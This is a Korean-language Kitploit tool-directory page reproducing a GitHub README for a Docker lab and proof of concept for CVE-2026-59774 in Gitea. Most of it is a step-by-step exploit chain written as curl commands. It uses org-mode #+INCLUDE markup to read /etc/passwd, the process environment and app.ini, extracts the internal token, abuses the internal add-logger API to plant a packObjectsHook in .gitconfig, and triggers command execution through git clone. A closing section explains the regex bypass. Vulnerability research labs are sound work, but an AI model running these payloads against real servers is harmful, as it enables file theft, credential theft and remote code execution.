Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-59774_docker — CVE-2026-59774 | Kitploit
도구/GitHubGitHub/flowerwitch/cve-2026-59774_docker
Vulnerability AnalysisExploitationWeb Application ExploitationLabs & Practice
GitHubflowerwitch/cve-2026-59774_docker

CVE-2026-59774_docker

CVE-2026-59774

저장소 보기
112개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-59774_docker

1. gitea 가져오기

git clone https://github.com/FlowerWitch/CVE-2026-59774_docker

cd ./CVE-2026-59774_docker

docker compose up -d

2. 초기화

gitea에 접속합니다

http://localhost:3000/install

3. repository 생성

new repository는 기본적으로 공개로 설정되며, 별도의 추가 설정이 필요하지 않습니다

image

4. POC

curl -X POST "http://localhost:3000/{username}/{repo}/markup" \                       
  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'
image

5. RCE 부분

  1. 먼저 /proc/self/environ의 GITEA_CUSTOM 필드를 읽어 gitea 데이터 저장 위치를 획득합니다
curl -sX POST "http://localhost:3000/admin/poc/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep 'GITEA_CUSTOM='
image
  1. {GITEA_CUSTOM}/conf/app.ini를 읽어 INTERNAL_TOKEN 및 APP_DATA_PATH 필드를 가져옵니다
curl -sX POST "http://localhost:3000/{username}/{repo_name}/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH' 
image
  1. 여기에서 저는 add-logger 인터페이스를 찾았습니다. 이 인터페이스의 Mode가 File일 때 로컬 파일에 추가 쓰기를 수행하며(대상이 존재하지 않으면 해당 디렉터리를 생성함), 동시에 그 logger 필드가 router일 때 실행되면 로그 한 줄이 트리거되어 출력 효과가 default보다 훨씬 좋습니다(줄바꿈이 발생하지 않기 때문입니다 XD). 전자의 임의 쓰기를 통해 gitea의 .gitconfig에 packObjectsHook 필드를 추가하여 익명 clone으로 명령 실행을 트리거합니다.
curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "Logger": "router",
    "Writer": "pwnhook",
    "Mode": "file",
    "Config":{                                                             
      "filename": "{APP_DATA_PATH}/home/.gitconfig",
      "flags": "none",                                                          
      "prefix": "[uploadpack]\n        packObjectsHook = id > /tmp/pwned ;#", 
      "level": "Info",
      "rotate": false
    }
  }'
image
  1. 이후 요청이 후속 설정을 오염시키지 않도록 로그 핸들을 닫으며, 위의 logger와 writer를 사용합니다
curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  1. git clone 명령 실행 트리거
image

예시

gg1

참고

go-org 1.9.1의 parseInclude 함수에는 정규식 필터링 규칙 includeFileRegexp이 포함되어 있으며, 이 규칙과 일치해야만 이후 함수로 진입할 수 있습니다.

func (d *Document) parseInclude(k Keyword) (int, Node) {
	resolve := func() Node {
		d.Log.Printf("Bad include %#v", k)
		return k
	}
	if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil {  # <--这里施加了 includeFileRegexp 过滤
		path, kind, lang := m[1], m[2], m[3]
		if !filepath.IsAbs(path) {
			path = filepath.Join(filepath.Dir(d.Path), path)
		}

includeFileRegexp 일치 조건은 다음과 같습니다

var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)

따라서 payload "#+INCLUDE: \"/etc/passwd\"\n" 는 정상적으로 매칭될 수 없으며, 구성은 표현식에 부합해야 합니다. 예를 들어:

"#+INCLUDE: \"/etc/passwd\" src 123\n"
도구 다운로드